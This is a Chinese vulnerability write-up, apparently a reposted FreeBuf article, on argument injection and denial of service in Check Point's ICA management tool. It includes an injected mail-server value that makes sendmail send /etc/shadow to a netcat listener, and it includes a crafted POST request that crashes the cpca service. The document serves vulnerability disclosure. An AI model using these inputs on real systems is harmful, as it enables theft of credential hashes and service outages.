前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Checkpoint ICA管理工具漏洞研究

Checkpoint ICA管理工具漏洞研究

作者头像
FB客服
发布2021-01-07 10:33:19
7270
发布2021-01-07 10:33:19
举报
文章被收录于专栏:FreeBuf

在这篇文章中,我们将跟大家分析我们在Checkpoint安全管理套件中发现的多个安全漏洞,这个组件在很多Check Point产品中都有使用,它就是Checkpoint ICA 管理工具。

Checkpoint ICA 管理工具可以帮助我们管理下列用户证书:

  • 运行搜索
  • 重新创建CRLs
  • 配置ICA
  • 删除过期的证书

默认配置下,这个服务是关闭的,我们需要使用内置实用程序cpca_client来开启该服务:

代码语言:javascript
复制
cpca_client set_mgmt_tool on -no_ssl

需要注意的是,如果我们运行该命令,任意用户将可以在未经身份验证的情况下使用该服务。因此,我们建议仅使用SSL运行此服务。可以使用下列命令和预先生成的证书来启用SSL:

代码语言:javascript
复制
cpca_client set_mgmt_tool on -u <your certificate>

启用该组件之后,即可通过访问“http://:18265/”地址来访问ICA管理工具的Web接口。在这里,我们需要在不使用SSL的情况下启用该组件。

在我们分析ICA管理工具的过程中,我们发现了下面这两个漏洞。

参数注入漏洞

第一个漏洞类似于命令注入漏洞,攻击者可以在向目标应用程序传递参数时,注入或插入自定义命令。我们在分析过程中,能够利用该漏洞在调用内部系统命令时注入带有自定义参数的命令并成功执行。

Web接口的一个显著特征就是能够向用户发送关于证书初始化的通知消息,同时仍然保留了修改标准电子邮件Header的功能,比如说发件人、收件人、主题和邮件服务器地址等等。一开始,曾有人试图将Shell命令作为参数注入到邮件服务器地址参数中,这类似于通过不正确的输入验证来利用错误的“ping”命令,但实际上这种方式无法当作/bin/sh命令执行。

接下来,我们需要研究和确定负责发送邮件的进程,其中一个有可能的进程名为“cpca”,因为它监听的是18265号端口。通过字符串搜索,我们发现并确定了负责跟邮件发送交互的代码,它就是我们的目标。需要注意的是,cpca二进制文件中包含了字符串“send_mail_file.txt”,这也表明了它拥有发送附件的能力。在这里,我们必须深入了解sendmail的命令行参数,才能构造出相应的注入字符串。

代码语言:javascript
复制
sendmail [-t server] [ [-m filename]  | [-s subject] [-f from] email-address]

即便如此,我们仍然无法推测出已执行命令行参数的顺序,因此我们必须另辟蹊径。这里,我们选择将sendmail的命令行参数添加在Web界面的参数中,通过日志记录我们可以确定,在参数注入时指定的服务器文件已发送到攻击者控制的邮件服务器。

如需利用该漏洞,我们需要使用nc监听本地端口25,然后在配置CA证书时,我们需要将管理工具邮件服务器设置为“127.0.0.1 -m /etc/shadow%0a%0a”,这里需要注意的是,字段结尾不应该出现“\n\n”。

接下来,我们需要发送一个请求来触发邮件的发送,certs参数中包含了证书ID以及邮件状态。

如下图所示,/etc/shadow中的内容已发送到nc所监听的25端口了:

拒绝服务漏洞

这个组件中的拒绝服务漏洞是由于没有对用户输入数据进行验证所导致的,如果远程客户端发送了特殊构造的POST请求,并且该请求的主体以一种不正常的方式格式化的话,将会导致程序意外关闭。

为了验证该漏洞,我们生成了下列POST请求:

代码语言:javascript
复制
POST /file_init?_ HTTP/1.1

Host: checkpoint.host:18265

Cookie: _

Content-Length: 1

q

接收到这个请求之后,cpca将会崩溃。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 参数注入漏洞
  • 拒绝服务漏洞
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档